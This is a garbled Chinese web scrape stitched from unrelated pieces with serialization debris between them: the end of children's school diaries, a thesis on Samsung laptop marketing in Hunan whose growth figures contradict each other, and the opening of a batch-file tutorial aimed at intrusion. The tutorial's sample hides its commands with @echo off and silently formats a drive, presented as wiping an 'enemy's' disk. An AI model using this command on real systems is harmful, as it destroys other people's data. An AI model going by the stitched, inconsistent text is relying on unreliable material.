@#@那海水咸的使我一口气整喝了一瓶水。
@#@我再也不想往海里走了,就在旁边沙子上的浅水湾里玩。
@#@早上起来的时候,我还看见了那火红的,美丽的夕阳。
@#@那美的简直无法形容。
@#@@#@ 这次去日照可真开心啊!
@#@不仅见识了大海的魅力,还收获了许多的快乐!
@#@真是不虚此行呀。
@#@@#@ @#@三年级周记14@#@ 3月12日就是植树节了。
@#@星期天,我们全家都早早地起床了。
@#@天空中的白云犹如扬帆起航的轻舟,慢慢地浮动。
@#@太阳公公也暖洋洋地照着大地。
@#@爸爸扛着铁铲,姑父拿着买来的小树苗,我和哥哥提着水桶,一起高高兴兴地去天元公园里植树。
@#@@#@ 我们来到了天元公园。
@#@爸爸说:
@#@“我们分成两组,比一比谁种的树苗好。
@#@”我和姑父一组,爸爸和哥哥一组,一会儿,我们开始植树了。
@#@姑父拿来铁铲在地上挖起了坑,我连忙跑过去,把小树苗拿过来……哥哥看我们在动手了,也不甘落后地说:
@#@“我是男子汉,挖坑的活我来。
@#@”说着就拿起铁铲,左手握着前端,右手握紧后端,后脚蹬地,身体前倾,把铁铲插进土里,使出吃奶的力气,使劲一撬,终于挖出了一块土。
@#@我看了焦急地对姑父说:
@#@“快快,姑父,哥哥超上来了。
@#@”姑父说:
@#@“快没有用的,要种得好。
@#@”说完,就叫我把小树苗抬起插进土坑里,扶直,姑父用铁铲培好土,踩实。
@#@最后,我提起水桶,向小树苗的缝隙里浇灌。
@#@树栽好了,小树苗笔直地站在公园里。
@#@这时,爸爸和哥哥也种好了小树苗。
@#@@#@ 一阵风吹来,我和哥哥感到了丝丝凉意,都用手擦了擦脸上的汗水。
@#@两只“小花猫”,您看看我,我看看您,都禁不住哈哈大笑起来!
@#@@#@ 我看着小树苗心想:
@#@小树苗呀,小树苗,您要快快长大,为大地增添生机,为祖国增色彩。
@#@@#@ @#@三年级周记15@#@ “你又在搞什鬼!
@#@”我被这鬼叫声震惊了。
@#@同学某人毫不犹豫的喊了起来。
@#@同桌正在津津有味摆弄着口香糖。
@#@将口中的口香糖毫不犹豫的将口香糖拉成像丝线一样的东西。
@#@回过神来,我盯着他,想要作呕。
@#@“咳咳!
@#@”我捂着嘴,想狠狠的说他一顿。
@#@“妈呀,你可以别那么恶心吗?
@#@”我瞪着他。
@#@他继续摆弄着口中的口香糖,一会儿缠在笔上,一会儿绑在手指上,一会往学习不好的同学某人擦擦。
@#@“你是不是有病啊!
@#@”我终于忍不住爆了句粗口。
@#@他转头对向我,将手中令人呕吐的东西往我的桌子上擦擦。
@#@我一脸奸笑,看不住我想要大发雷霆。
@#@“你好样的......”@#@ 我一脚踹向他的板凳,踢啊踢。
@#@终于,一脚踩在的他脚上。
@#@“嗷嗷”的叫了几声。
@#@我没有善罢甘休,继续加大力度。
@#@“刘大姐,我错了!
@#@”“刘大婶,我错了!
@#@”“刘大爷,我错了!
@#@”......我面目有些呆滞,回过神,“我有那么老是吧?
@#@”他摇摇头,又点点头。
@#@“很好!
@#@”他好像知道了我的意图,赶紧摇摇头。
@#@我们毫不顾及正在啰里啰嗦的老师讲话。
@#@@#@ 下课,老师指向他。
@#@“看看,还在笑。
@#@”老师火冒三丈,他低下了头。
@#@“刘大姐,我跟你说。
@#@回家我再加点料,明天捉弄老师。
@#@咳咳,加的内容有这些:
@#@我先弄点牙膏沫,再往马桶里放上三秒钟,最后在让我吐的食物粘一粘......”我有些不耐烦:
@#@“看你有没有这个胆,我很期待呦,你能耍什么花招!
@#@”@#@";i:
5;s:
28386:
"三星笔记本电脑@#@摘要@#@湖南市场三星笔记本电脑是从2007年开始大力推广,在基数较低的情况下,销量迅猛增长,年均增长率到达55%,市场占有率高达15%。
@#@但是,2009年以后,销售规模与市场占有率明显下滑,市场关注度不足12%,仅排名第5位。
@#@三星笔记本在市场占有率上和关注程度上始终无法进入前四名,目前市场占有率只有5%。
@#@目前在湖南市场,三星笔记本电脑爆发了诸多问题,渠道成员之间的矛盾也日益突出,过于依赖促销的问题加剧,这些都是要急需解决的问题。
@#@对上述问题企业采取优化渠道结构和规模构建“复合渠道”、明确渠道成员的权利与义务化解渠道冲突等渠道策略,促销规划与产品规划配合针对产品型号促销、建立区域价格执行委员会维护区域市场价格秩序等营销策略。
@#@@#@关键词:
@#@三星笔记本电脑;@#@营销环境;@#@分销渠道策略@#@ @#@@#@@#@ @#@@#@目 录@#@摘要II@#@1绪 论1@#@1.1 研究背景1@#@1.2研究目的与意义1@#@1.2.1研究目的1@#@1.2.2研究意义2@#@1.3研究内容与思路2@#@1.3.1研究内容2@#@1.3.2研究思路2@#@2相关理论3@#@2.1 短板理论3@#@2.2 马太效应3@#@3三星笔记本电脑湖南市场营销环境分析4@#@3.1 湖南市场的宏观环境4@#@3.1.1经济环境4@#@3.1.2社会文化环境4@#@3.1.3技术环境4@#@3.2 湖南市场的微观环境4@#@3.2.1供应者分析5@#@3.2.2消费者分析5@#@3.2.3新进入者带来的威胁6@#@4三星笔记本电脑湖南市场营销策略分析7@#@4.1湖南市场消费者市场细分7@#@4.2 采用不同定价策略提升产品竞争力7@#@4.3 通过买赠和价格补贴的促销手段完成销售8@#@5三星笔记本电脑湖南市场存在的问题及原因9@#@5.1 湖南省市场营销中存在的问题9@#@5.1.1市场占有率不足且地区发展不均衡9@#@5.1.2渠道成员矛盾激化“窜货”问题严重9@#@5.1.3过于依赖促销使得促销成本增加并引发四大“病症”10@#@5.2 湖南省市场营销问题存在的原因11@#@5.2.1区域分支机构职能较弱且权力较小11@#@5.2.2渠道建立与细分客户配合不足11@#@6三星笔记本电脑湖南市场营销策略改进建议12@#@7结论13@#@致谢14@#@参考文献15@#@1绪 论@#@1.1 研究背景@#@笔记本电脑市场是目前在电脑消费市场中最具成长力的产品。
@#@随着技术的不断进步和发展,笔记本电脑在功能上,性能上以及价格上的大众化后,已经不再是台式机电脑的补充。
@#@笔记本电脑在电脑市场的份额逐渐在上升。
@#@世界著名调研公司IDC(国际数据公司)报告,2009年,世界个人电脑销售量约为2.83亿台,其中笔记本电脑销售量约为1.22亿台,约占比总量的43.1%,同比增加了28%。
@#@从发展趋势上讲,笔记本电脑的时代己经到来,电脑产品的格局将彻底发生改变。
@#@@#@在国内众多笔记本厂家面对巨大是市场前景,拼力厮杀。
@#@随着竞争的加剧,各大笔记本生产厂家逐渐分化成三大梯队:
@#@第一梯队包括惠普(HP)、戴尔(DELL)、宏基(Acer)、联想(Lenovo/ThinkPad);@#@第二梯队包括华硕(ASUS)、三星(SAMSUNG)、东芝(TOSHIBA)、索尼(SONY)等;@#@第三梯队包括神舟、同方,方正,七喜,长城,明基,富士通,微星等。
@#@其中第一梯队占整个笔记本市场的份额约在50%,第二梯队约占30%,而第三梯队只有20%左右。
@#@大品牌由于于规模较大,使其具有的成本优势,即产品生产和品牌营销的成本优势。
@#@大品牌牢牢掌握了市场竞争的主动权。
@#@@#@在湖南省市场三星笔记本电脑是从2007年开始大力推广,在基数较低的情况下,销量迅猛增长,年均增长率到达40%,市场占有率高达15%。
@#@但是,2009年以后,销售规模与市场占有率明显下滑。
@#@三星笔记本电脑市场占有率跌幅巨大,目前市场占有率只有5%。
@#@目前在湖南省市场,三星笔记本电脑爆发了诸多问题,渠道成员之间的矛盾也日益突出,这些都是要急需解决的问题。
@#@@#@1.2研究目的与意义@#@1.2.1研究目的@#@以三星笔记本湖南省公司的营销策略为研究研究对象,通过对三星笔记本电脑湖南省市场营销策略的研究,找出三星湖南省公司在营销策略中的问题,并据此提出了三星笔一记本电脑在湖南省市场的长久持续的发展营销改进对策。
@#@@#@面对着当前笔记本电脑日益惨烈的竞争态势,三星笔记本电脑必须找出自身存在的问题,并采取应对的措施,提出相应的改进策略,希望使三星笔记本把握住湖南省区域市场的特点,从而提高三星笔记本的市场占有率与销售规模。
@#@@#@1.2.2研究意义@#@希望通过对三星笔一记本电脑子在湖南省市场营销策略的研究,使其摆脱目前的竞争困境,提高销售规模与市场份额。
@#@通过该文对三星笔记本在湖南省市场具有很强的实践意义。
@#@同时,对许多同样处于激烈竞争阶段的国际笔记本电脑企业,对其在华开拓市场,打造适应区域营销策略方面将具有一定的借鉴意义。
@#@@#@1.3研究内容与思路@#@1.3.1研究内容@#@我国是世界上笔记本电脑市场增长最迅猛的国家之一。
@#@根据统计,2011年,国内笔记本电脑销售量将以18%的增长,未来的5年内,笔记本电脑将占到电脑产品的60%以上的份额。
@#@@#@在高速发展的我国市场大背景下,如何把握市场机会,抢占我国市场优势地位,是各大笔记本电脑厂家的共同目标。
@#@我国地区差异较大。
@#@每个地区都有自己相对独特特点,所以,对于每个不同采取适应各自区域特点的营销策略组合。
@#@通过该文对于三星笔记本电脑在湖南高校市场营销策略具有很强的实践意义。
@#@同时,对于许多同样的处于激烈竞争阶段的笔记本电脑企业,开拓市场,将具有一定的借鉴意义。
@#@@#@1.3.2研究思路@#@通过该文研究思路遵循以下路径:
@#@@#@对三星湖南省公司的背景和营销策略现状进行了介绍,指出三星笔一记本电脑市场在湖南省市场的现行营销策略中爆发出来的问题。
@#@并且针对三星笔记本电脑现行营销策略中爆发出来的问题,给予提出解决方案和具体措施。
@#@@#@2相关理论@#@2.1 短板理论@#@每个企业都是不同的一个水桶,因此,水桶的大小也不可能完全一致。
@#@直径大的水桶,其储水量自然要大于其它水桶。
@#@也就是说,一个企业在进入市场之初,他的起步也是不完全一样的,有的基础扎实,有的基础局促,有的资源面广,有的资源面窄,这都对企业的最初的发展起到关键的作用。
@#@在每块木板都相同的情况下,水桶的储水量还取决于水桶的形状。
@#@@#@学过物理的人都知道,在周长相同的条件下,圆形的面积大于方形的面积。
@#@因此圆形水桶是所有形状的水桶中储水量最大的,它强调组织结构的运作协调性和向心力,围绕一个圆心,形成一个最适合自己的圆。
@#@@#@因此,从做企业来说,企业的每一块资源都要围绕一个核心,每一个部门都要围绕这个核心目标而用力。
@#@@#@2.2 马太效应@#@马太效应(MatthewEffect),是指好的愈好,坏的愈坏,多的愈多,少的愈少的一种现象。
@#@社会学家引申出“马太效应”这一概念,用以描述社会生活领域中普遍存在的两极分化现象。
@#@ @#@1968年,美国科学史研究者罗伯特·@#@莫顿提出这个术语用以概括一种社会心理现象:
@#@“相对于那些不知名的研究者,声名显赫的科学家通常得到更多的声望即使他们的成就是相似的,同样地,在同一个项目上,声誉通常给予那些已经出名的研究者,例如,一个奖项几乎总是授予最资深的研究者,即使所有工作都是一个研究生完成的。
@#@” @#@罗伯特·@#@莫顿归纳“马太效应”为:
@#@任何个体、群体或地区,一旦在某一个方面(如金钱、名誉、地位等)获得成功和进步,就会产生一种积累优势,就会有更多的机会取得更大的成功和进步。
@#@此术语后为经济学界所借用,反映贫者愈贫,富者愈富,赢家通吃的经济学中收入分配不公的现象。
@#@@#@3三星笔记本电脑湖南市场营销环境分析@#@3.1 湖南市场的宏观环境@#@3.1.1经济环境@#@2011年湖南省的地区生产总值达到19635.19亿元,增长12.8%,增速明显快于全国平均速度。
@#@GDP总量接近2万亿,排名在全国九位。
@#@全省人均GDP超过了4000美元的水平。
@#@按常住人口计算,人均地区生产总值29828元,增长11.2%。
@#@全省城镇居民人均可支配收入18844元,比上年增长13.8%。
@#@农村居民人均纯收入6567元,增长16.8%。
@#@随着发展,相信湖南省的经济发展将不断迈向新的台阶。
@#@@#@3.1.2社会文化环境@#@伴随着经济的高速增长和居民可支配收入的提高,人们开始追求更加个性化的生活方式。
@#@人们购买商品不仅是要满足生理需求,更重要的是还要获得心理或精神上的享受。
@#@当然,随着经济的发展,社会的各个阶层也分化严重。
@#@现在流行的“官二代”、“富二代”的是社会发展不均衡造成的。
@#@人均收入的差距越来越大,造成的“仇富”心理等等。
@#@这也在一个层面反映了社会发展这个阶段的矛盾。
@#@@#@3.1.3技术环境@#@2011年是笔记本电脑发展不平凡一年,很多新技术将在这一年里广泛应用。
@#@新一代的CPU上市。
@#@原来的酷睿2代SantaRose处理器平台将发展到SandyBridge处理器平台。
@#@虽然新款CPU仍然采用Corei7、i5、i3的品牌名称,但在性能上,SandyBridge较上一代的酷睿i系列处理器有非常大的提高。
@#@3D技术将会在高端笔记本崭露头角。
@#@2010年《阿凡达》电影给人们带来了震撼的3D视觉盛宴,人们开始逐渐关注3D显示技术的应用。
@#@有消息称,3D研发公司SuperD和友达光电公司,将在裸眼3D面板方面展开深入合作,这项技术会率先在笔记本电脑上应用。
@#@相信不久将会有支持3D技术的笔记本电脑诞生,给人带来不断的惊喜。
@#@@#@3.2 湖南市场的微观环境@#@美国哈佛大学迈克尔·@#@波特教授认为一个产业内部竞争激烈,不是偶然的巧合,也不是归咎于“坏运气”。
@#@相反,产业内部的竞争根植于其基础经济结构,并且远远超越了现有竞争者的行为范围。
@#@任何一个产业都存在几种力量,潜在的进入者、购买者讨价还价能力、供应者讨价还价能力等的抗衡。
@#@@#@3.2.1供应者分析@#@笔记本电脑主要是由CPU(中央处理器),液晶面板,主板,硬盘,内存等主要元器件组成。
@#@不同的元器件,有不同的供应商供应。
@#@如表3.2.1笔记本电脑主要元器件供应商所示。
@#@@#@表3.2.1笔记本电脑主要元器件供应商@#@元器件@#@供应商@#@INTEL、AMD@#@CPU@#@液晶主板@#@SAMSUNG、SHARP、LG-philips、台湾友达、美奇、京东方@#@主板@#@广达、纬创、仁宝、富士康、大众、神达、华硕@#@硬盘@#@希捷、西部数据、日立、三星、东芝@#@内存@#@金士顿、三星、现代、威刚、金邦、宇瞻、英飞凌@#@从笔记本核心元器件中央处理器CPU来看,目前市场上主要能够生存的也就INTEL与AMD二家公司。
@#@英特尔产品占据了CPU市场的近80%的份额,所以,CPU的价格基本是由它根据自己公司的情况来确定,笔记本品牌厂家基本处于被动地位。
@#@@#@液晶面板主要是由三星、夏普、LG-菲利普、台湾友达等供应。
@#@其中,三星和夏普主要集中在笔记本的中高端价格段的液晶屏幕供应。
@#@LG-菲利普和台湾友达等主要集中在中低价格段的液晶屏幕的供应。
@#@相对市场均衡,非垄断。
@#@@#@硬盘主要供应商有希捷和西部数据。
@#@由于硬盘行业的公司经过多轮整合,已经由原来的几十家公司,变成了3-5家。
@#@尽管供应商未形成垄断行为,但是市场可选择的品牌不多。
@#@@#@内存主要来源7家公司,可选择品牌较多。
@#@但是能生产内存颗粒的公司只有三星和英飞凌。
@#@相对内存颗粒的供应商而言,这个行业也是具有一定的垄断形式。
@#@@#@从三星笔记本而言,很多元器件都是“自产自销”,而且还要给其他品牌的产品做OEM生产。
@#@联想或者惠普等笔记本品牌主要是依靠OEM生产方式,目前,随着金属及石油等在内的基础性工业原料的涨价,液晶面板、电池、硬盘及主板等核心零部件都出现大规模涨价的趋势,这样相对成本上较其他品牌有成本领先的优势。
@#@@#@3.2.2消费者分析@#@笔记本电脑市场基本是“充分竞争”的市场。
@#@在笔记本电脑市场中有众多品牌、大量的笔记本产品类别、上百种的型号。
@#@消费者有足够的挑选自己喜欢的品牌和产品的空间。
@#@消费者具有强有力的讨价还价能力,主要表现为:
@#@@#@
(1)在电脑城内,一个品牌有多家店面。
@#@消费者可以在不同的店内进行侃价。
@#@销售员为了完成自己的业绩和经销商为了完成任务拿到厂家的返点,对产品价格不得不做出妥协。
@#@这样的情况下,购买者强势,商家弱势。
@#@@#@
(2)消费者完全、充分的掌握产品信息和价格信息。
@#@购买者可以从各类的笔记本电脑相关网站上获知笔记本电脑的产品信息,价格信息。
@#@某些测评网站,将某款笔记本电脑进行拆解,从内部的元器件和笔记本结构设计上帮助消费者分析产品是否值得购买。
@#@@#@(3)团购己经成为消费者一种新型的购买模式。
@#@各类团购网站层出不穷,他们会把购买者集中在一起去采购笔记本电脑。
@#@而且某些电脑城也采用这样的手段拉拢客源,在销售旺季的时候,集中电台、电视媒体宣传某月某日在某电脑城举行大型团购活动,以此来招揽消费者的光临。
@#@本来零售的销售行为,变成了批量采购。
@#@各商家必然对其给予足够的价格优惠,消费者得到了实惠。
@#@@#@3.2.3新进入者带来的威胁@#@笔记本电脑大部分是由代工工厂生产和研发。
@#@例如DELL主要是由台湾广达、精英等OEM生产的。
@#@这样有着雄厚资金实力的公司就可以通过代工贴牌的形式进入笔记本电脑行业。
@#@因此笔记本电脑行业存在进入者的威胁,主要体现在以下几个方面:
@#@@#@第一,进入笔记本电脑行业的门槛不高。
@#@只要得到台湾等代工厂的支持,贴牌销售,就能在笔记本电脑市场上浑水摸鱼,赚到钱。
@#@这样的公司,近几年很多。
@#@例如TCL、华禹邦甲、等。
@#@@#@第二,OEM厂家为了自身的发展需要。
@#@原以代工生产为主的企业,后来逐渐建立起自主品牌,并在市场上开始销售自主品牌的产品。
@#@例如华硕(Asus)公司,原来主要给SONY等品牌代工,现在推出自主品牌华硕电脑,并在华成立全资子公司华捷科技,从生产到销售,全面进入笔记本电脑市场。
@#@@#@第三,英特尔(INTEL)公司,为了控制CPU定价的话语权,控制联想、HP、DELL等公司销量总数,不断在华培养地方性的品牌,从而与大品牌形成制衡。
@#@例如:
@#@神舟、新蓝、七喜等品牌。
@#@而且,将DIY的概念引入到笔记本市场,BTO(BinldToOrder)应运而生。
@#@其含义是“按单生产”。
@#@它是由INTEL公司发起并给予认证的笔记本电脑,它推崇将笔记本的技术标准开放,并且统一起来,提升规模降低成本。
@#@很多小公司都参与了这样的BTO,进军低端笔记本市场。
@#@例如现在时下正流行的上网本,基本都是INTEL的BTO产品。
@#@@#@4三星笔记本电脑湖南市场营销策略分析@#@4.1湖南市场消费者市场细分@#@首先将湖南消费者生活方式的不同将细分市场分别命名为社交导向型消费者市场、经济导向型消费者市场、自我导向型消费者市场和时尚导向型消费者市场。
@#@各市场的消费者的特点描述如下:
@#@@#@
(1)社交导向性消费者市场@#@本集群消费者在生活方式因素方面喜爱社交,较不会谨慎购买。
@#@集群的男性比例稍多,超过一半的该集群消费者愿意负担的笔记本价位在3000-4300元之间。
@#@在产品属性的偏好方面,该集群对软性属性的重视程度是所有集群中最高的,对性能类、外观类和功能类的属性也都比较注重。
@#@@#@
(2)经济导向性消费者市场@#@本集群消费者在生活方式方面强调经济消费,同意谨慎购买,他们并不很自信,在社交能力上有一定的欠缺;@#@对新事物与流行事物的接受程度不强;@#@喜欢选择经济实用的商品。
@#@该集群消费者愿意负担的笔记本价位在4000-5500元之间的比例是最多的。
@#@该集群消费者的经济基础较差,价格接受能力较其他集群明显偏低。
@#@在产品属性的偏好方面,该集群对各类属性的重视程度都是所有集群中最低的。
@#@@#@(3)自我导向性消费者市场@#@本集群中,消费者在生活方式因素方面注重外表,自我意识非常强,对自己的能力非常有自信;@#@但不是很喜欢体育运动,一般没有社交的兴趣,喜欢独处。
@#@该集群对笔记本电脑的认同程度高,男女性比例比较平均,平均月消费水平相对了前面两个集群来说较高,能够接受笔记本电脑的价格在6000-9999元区间的比例最大,该集群消费者由于自我意识较强,对笔记本选购的自主意见比较强,因此在价位选择上的分布相对比较分散。
@#@@#@4.2 采用不同定价策略提升产品竞争力@#@由于笔记本电脑的主要元器件CPU基本由Intel公司“垄断”,笔记本电脑的其他元器件也同质化严重,价格是最容易调整的营销组合因素,所以,价格竞争基本成了各大厂家的主要竞争手段之一。
@#@@#@三星笔记本电脑目前主要采用不同的目标市场采用不同的定价方法。
@#@@#@三星笔记本Q、X、S系列面向高端用户群。
@#@对于这群购买者,主要采用高品质与使用性并重,强化体验和感受。
@#@价格一般定为在主流高端层面。
@#@定价的方法是需求导向定价法。
@#@@#@三星笔记本电脑R、N系列面向中低端用户群。
@#@主流配置,一流产品是这群购买者的购买诉求点。
@#@耐用性和外观时尚并重,强调个性张扬。
@#@价格一般定为在中低价位段。
@#@这个价位段是销售量最大的价位段产品,也是各大品牌笔记本电脑厂家竞争最激烈的档位。
@#@所以,定价方法是竞争导向定价法。
@#@@#@三星笔记本电脑P系列是商用产品,主要是针对行业用户需求,确定笔记本电脑的配置和价格。
@#@行业用户主要的采购方式是投标采购。
@#@在投标中,往往会发生不同品牌,却同样配置的笔记本电脑的情况出现,这样价格在评比分数的多少就决定了最终采购的品牌。
@#@所以,对于三星笔记本电脑P系列产品,采用的定价方法是成本导向定价法。
@#@@#@为了保护市场的稳定和保护经销商的合理利润,价格维护也是非常重要的,产品在媒体价格是三星与核心代理商协商一致后确定最终的媒体价格。
@#@这样既可以保障渠道的利润,同时也能很好的防止渠道过高的利润,导致出货量偏小。
@#@@#@三星笔记本电脑不同的系列采取不同的定价策略,其产品价格竞争力很强,具有一定的价格优势。
@#@@#@4.3 通过买赠和价格补贴的促销手段完成销售@#@促销是营销活动中的重要组成部分,它包括各种形式,多数属于短期性的激励工具,用以激励消费者和贸易商较迅速或者较大量地购买某一特定产品或者服务。
@#@在湖南省笔记本电脑促销在时间上主要集中在四个时间段上:
@#@“五一”、“十一”、“元旦”和“春节”,内部称呼为“四纵”。
@#@@#@促销工具主要有,消费者促销、贸易促销和业务和销售队伍促销。
@#@对于笔记本电脑而言,主要是消费者促销。
@#@每个促销期,笔记本电脑各厂家都投入很大资源。
@#@有动态路演,有静态产品展示,有抽奖,有买赠、有返券等等,形式多样。
@#@对三星湖南分公司而言,也是如此每次到旺季促销的时候,总能拿出巨额的费用投入笔记本电脑的促销中,保证四纵的任务顺利完成。
@#@@#@5三星笔记本电脑湖南市场存在的问题及原因@#@5.1 湖南省市场营销中存在的问题@#@5.1.1市场占有率不足且地区发展不均衡@#@三星笔记本在2010年全国的市场占有率约在7%左右。
@#@市场占有率较大的还是联想(Lenovo)、戴尔(Dell)和惠普(HP)笔记本电脑,占比达到30%、14%和11%。
@#@如图@#@2010年笔记本电脑品牌中国市场占有率分布图@#@三星笔记本电脑2010年湖南省笔记本电脑品牌市场占有率只有5%,低于全国7%的平均水平。
@#@@#@在整体经营规模上,笔记本电脑产品已经成为大众消费的电子产品。
@#@从电脑厂家的生存和发展的角度而言,必须形成经营规模,才能更好的稳固市场地位,并获得更好的利润回报。
@#@这样就要求我们的渠道必须增强规模化经营意识,扩大公司经营规模。
@#@@#@5.1.2渠道成员矛盾激化“窜货”问题严重@#@代理商的利润来源于规模,也来源于管理。
@#@管理水平的高低一方面取决于现代化技术的普及与应用的硬件。
@#@另一方面来源于完善的管理制度,提升资金周转率,降低存货成本,降低最低定货额度量,以及对超期应收账款的处理能力。
@#@@#@例如,联想的代理商己经采用电子信息交换技术和顾客快速反应系统,帮助减少库存,减少成本。
@#@@#@三星的代理商基本还是处于手工做表,往往一个数字统计,要统计2-3天,才能出来确切的结果。
@#@自然在整体渠道管理中没有去协助代理商使用现代化的信息管理手段,来提升代理商的管理水平和决策水平。
@#@@#@在湖南省三星笔记本电脑的渠道中,渠道成员冲突主要表现在以下几个方面:
@#@@#@首先,三星与代理商之间的冲突。
@#@冲突的原因是在商用笔记本上,三星跨过代理商直接供货给客户导致的矛盾。
@#@三星压货和代理商力图降低库存的矛盾。
@#@代理商不愿意让三星过多干预其与经销商之间的业务等。
@#@@#@其次,代理商与经销商的冲突。
@#@代理商有区别的对待不同经销商采用不同的提货价格,从而造成的矛盾。
@#@代理商对经销商的提供信用账期,长短矛盾。
@#@代理商在区域内开发经销商数量过多,造成经销商过渡竞争,从而无法获利的矛盾等。
@#@@#@最后,三星与经销商的冲突。
@#@三星与经销商的冲突主要是在信息沟通上的不充分。
@#@经常表现为,经销商对三星的产品促销政策掌握不清,未能完成目标销量没有拿到奖励。
@#@对店面布置、样机摆放信息不到位,造成装修费用报销不及时、样机奖励不能兑现等等。
@#@三星关心的是市场销售量和市场份额,而代理商更关心赚钱本身。
@#@厂家和代理商追求的目标差异导致力量分散,使得在市场竞争力方面,缺乏统一、一致的力量。
@#@@#@表面上看,三星湖南分公司得到了销量,代理商得到了返点。
@#@但实际情况却是,由于代理商在自己的区域内无法销售掉这样大量的产品,于是四处窜货,扰乱其他区域的市场价格秩序,甚至造成某些区域代理商无法正常销售三星产品。
@#@反过来,代理商有了更多的量,再向三星要更高的返点。
@#@得到更高的返点后,价格秩序往往停留在表面文章。
@#@这样下去,势必造成渠道矛盾重重。
@#@@#@5.1.3过于依赖促销使得促销成本增加并引发四大“病症”@#@第一,促销攀比症。
@#@由于三星笔记本电脑品牌拉力与联想和惠普相比较弱。
@#@这样就造成,如果有联想或者惠普促销,则三星也要跟进。
@#@你送价值299元的礼包,我就送399元的礼包。
@#@你做现场产品展示,我就动态路演。
@#@盲目的“攀比”促销,使得三星笔记本电脑未能在促销中得到提升销量的回报。
@#@@#@第二,促销依赖症。
@#@三星湖南分公司只把促销吸引消费者购买力的手段,不断通过赠品和价格补贴的手段,刺激消费者的购买行为。
@#@有时候面对销售任务压力的时候,就更加渴望通过促销来解决问题。
@#@一旦促销停止,销量马上回落。
@#@销量对促销的依赖性太强。
@#@@#@第三,促销腐败症。
@#@由于促销手段中有价格补贴方式。
@#@这样就导致很多代理商和经销商采取“回扣”的方式拉拢腐蚀业务人员。
@#@由于促销方案设计的缺陷或者促销实施过程中管理不严,造成促销费最终都落入了代理商、经销商,甚至销售员的腰包。
@#@导致的巨大的浪费和严重的腐败问题。
@#@@#@第四,促销被动强迫症。
@#@由于促销费用在市场推广费用中的比例越来越高,使得促销费,变成了刚性的费用项目。
@#@很多代理商或者经销商喜欢直接降价促销。
@#@有时候,促销期还没有到,就提前“透支”促销费用,然后逼着三星湖南分公司补贴促销费用,形成了“被强迫”的现象。
@#@@#@5.2 湖南省市场营销问题存在的原因@#@5.2.1区域分支机构职能较弱且权力较小@#@三星笔记本电脑在湖南省市场爆发出来的渠道问题,其实就是三星作为管理者在制定“游戏规则”的时候,未能及时“与时俱进”,还是沿用老的管理模式,不能将渠道细分,任务细分,规划到位,“商圈”完全覆盖等等一系列问题导致的。
@#@管理手段、激励手段和信息沟通上不畅导致。
@#@如果不及时解决,三星笔记本电脑在湖南市场不会有大的发展,反而被其他优势品牌的笔记本电脑“占尽先机”,错失大好发展前景。
@#@厂商缺乏对区域市场的重视,事实上,在渠道通路缩短的情况下,厂商区域分支机构职能的强化在很大程度上成为必然。
@#@例如HP公司在三级以上城市新成立办事处,并设置大客户、渠道、市场等岗位。
@#@就连DELL也在近年成立了区域办事处。
@#@但是,三星对于区域分支机构的把控过度,使得区域分支机构职能弱,权力小。
@#@@#@5.2.2渠道建立与细分客户配合不足@#@笔记本电脑,不论个人、家庭还是超大型企业集团,都是笔记本电脑的潜在消费者。
@#@而不同类型的客户其消费需求、消费习惯、购买决策过程等都大不相同。
@#@然而三星没有将分析不同类型的客户与有针对性地开展制定自己的营销战略与策略相结合。
@#@并未建立不同的分销渠道来适应不同客户的需求,即没有将分销渠道多样化。
@#@一般来说,在多年的经营之后,笔记本厂商不论其总体市场地位如何,都会在某个或某些客户群形成自己的优势。
@#@而";i:
6;s:
29526:
"批处理大全@#@批处理大全@#@批处理文件是无格式的文本文件,它包含一条或多条命令。
@#@它的文件扩展名为.bat或.cmd。
@#@在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。
@#@使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。
@#@当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。
@#@下面就开始我们批处理学习之旅吧。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@一.简单批处理内部命令简介@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1.Echo命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@打开回显或关闭请求回显功能,或显示消息。
@#@如果没有任何参数,echo命令将显示当前回显设置。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@语法@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@echo[{on|off}][message]@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@Sample:
@#@@echooff/echohelloworld@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用>@#@>@#@>@#@^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@2.@命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@Sample:
@#@@echooff@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@echoNowinitializingtheprogram,pleasewaitaminite...@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@formatX:
@#@/q/u/autoset(format这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。
@#@)@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@3.Goto命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@语法:
@#@gotolabel(label是参数,指定所要转向的批处理程序中的行。
@#@)@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@Sample:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@if{%1}=={}gotonoparms@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@if{%2}=={}gotonoparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。
@#@)@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@Remcheckparametersifnullshowusage@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@:
@#@noparms@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@echoUsage:
